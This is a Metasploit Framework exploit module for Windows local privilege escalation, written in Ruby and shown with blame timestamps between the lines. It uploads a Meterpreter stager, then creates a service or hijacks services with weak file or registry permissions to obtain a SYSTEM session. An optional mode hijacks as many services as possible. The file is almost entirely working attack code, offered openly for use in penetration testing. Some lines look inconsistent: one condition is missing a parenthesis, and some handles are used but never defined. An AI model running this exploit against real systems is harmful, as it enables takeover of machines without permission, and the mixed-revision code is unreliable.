metasploit-framework/modules/exploits/windows/local/service_permissions.rb

169 lines
6.1 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
2013-08-30 21:28:54 +00:00
Rank = GreatRanking
include Msf::Post::Windows::Services
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Escalate Service Permissions Local Privilege Escalation',
'Description' => %q{
This module attempts to exploit existing administrative privileges to obtain
a SYSTEM session. If directly creating a service fails, this module will inspect
existing services to look for insecure file or configuration permissions that may
be hijacked. It will then attempt to restart the replaced service to run the
payload. This will result in a new session when this succeeds. If the module is
able to modify the service but does not have permission to start and stop the
affected service, the attacker must wait for the system to restart before a
session will be created.
},
'License' => MSF_LICENSE,
'Author' => [ 'scriptjunkie' ],
'Arch' => [ ARCH_X86 ],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'WfsDelay' => '5'
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate'=> "Oct 15 2012"
))
register_options([
OptBool.new("AGGRESSIVE", [ false, "Exploit as many services as possible (dangerous)", false ])
])
end
def exploit
# randomize the filename
filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
# randomize the exe name
tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
raw = payload.encoded
exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw)
2013-12-15 04:02:11 +00:00
sysdir = expand_path("%SystemRoot%")
tmpdir = expand_path("%TEMP%")
2013-08-30 21:28:54 +00:00
print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..")
begin
#
# Upload the payload to the filesystem
#
tempexe = tmpdir + "\\" + tempexe_name
2013-12-15 04:02:11 +00:00
write_file(tempexe, exe)
2013-08-30 21:28:54 +00:00
rescue ::Exception => e
print_error("Error uploading file #{filename}: #{e.class} #{e}")
return
end
2013-12-15 04:02:11 +00:00
print_status("Trying to add a new service...")
service_name = Rex::Text.rand_text_alpha((rand(8)+6))
if service_create(service_name,
"",
tempexe,
startup=2)
2013-08-30 21:28:54 +00:00
2013-12-15 04:02:11 +00:00
print_status("Created service... #{service_name}")
ret = service_start(service_name)
print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")
service_delete(service_name)
return
2013-08-30 21:28:54 +00:00
else
print_status("No privs to create a service...")
end
2013-12-15 04:02:11 +00:00
2013-08-30 21:28:54 +00:00
print_status("Trying to find weak permissions in existing services..")
#Search through list of services to find weak permissions, whether file or config
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
#for each service
service_list.each do |serv|
begin
moved = false
configed = false
#default path, but there should be an ImagePath registry key
2013-12-15 04:02:11 +00:00
source = expand_path("%SYSTEMROOT%\\system32\\#{serv[:name]}.exe")
2013-08-30 21:28:54 +00:00
#get path to exe; parse out quotes and arguments
sourceorig = registry_getvaldata("#{serviceskey}\\#{serv[:name]}","ImagePath").to_s
2013-12-15 04:02:11 +00:00
sourcemaybe = expand_path(sourceorig)
2013-08-30 21:28:54 +00:00
if( sourcemaybe[0] == '"' )
sourcemaybe = sourcemaybe.split('"')[1]
else
sourcemaybe = sourcemaybe.split(' ')[0]
end
begin
2013-12-15 04:02:11 +00:00
file?(sourcemaybe) #check if it really exists
2013-08-30 21:28:54 +00:00
source = sourcemaybe
rescue
print_status("Cannot reliably determine path for #{serv[:name]} executable. Trying #{source}")
2013-08-30 21:28:54 +00:00
end
2013-12-15 04:02:11 +00:00
2013-08-30 21:28:54 +00:00
#try to exploit weak file permissions
2013-12-15 04:02:11 +00:00
if(source != tempexe && file_move(source, source+'.bak')
file_move(tempexe, source)
2013-08-30 21:28:54 +00:00
print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.")
moved = true
end
2013-12-15 04:02:11 +00:00
2013-08-30 21:28:54 +00:00
#try to exploit weak config permissions
2013-12-15 04:02:11 +00:00
if service_change_config(serv[:name], {:bin_path_name => tempexe})
print_status("#{serv[:name]} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
2013-08-30 21:28:54 +00:00
configed = true
end
if(moved != true && configed != true)
print_status("No exploitable weak permissions found on #{serv[:name]}")
2013-08-30 21:28:54 +00:00
continue
end
print_status("Restarting #{serv[:name]}")
2013-08-30 21:28:54 +00:00
#open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
servhandleret = adv.OpenServiceA(manag["return"],serv[:name],0x30)
2013-08-30 21:28:54 +00:00
if(servhandleret["return"] != 0)
#SERVICE_CONTROL_STOP = 0x00000001
if(adv.ControlService(servhandleret["return"],1,56))
session.railgun.kernel32.Sleep(1000)
adv.StartServiceA(servhandleret["return"],0,nil)
print_status("#{serv[:name]} restarted. You should get a system meterpreter soon. Enjoy.")
2013-08-30 21:28:54 +00:00
#Cleanup
if moved == true
session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
end
if configed == true
servhandleret = adv.OpenServiceA(manag["return"],serv[:name],2)
2013-08-30 21:28:54 +00:00
adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
adv.CloseServiceHandle(servhandleret["return"])
end
else
print_status("Could not restart #{serv[:name]}. Wait for a reboot or force one yourself.")
2013-08-30 21:28:54 +00:00
end
adv.CloseServiceHandle(servhandleret["return"])
if datastore['AGGRESSIVE'] != true
return
end
else
print_status("Could not restart #{serv[:name]}. Wait for a reboot. (or force one yourself)")
2013-08-30 21:28:54 +00:00
end
rescue
end
end
end
end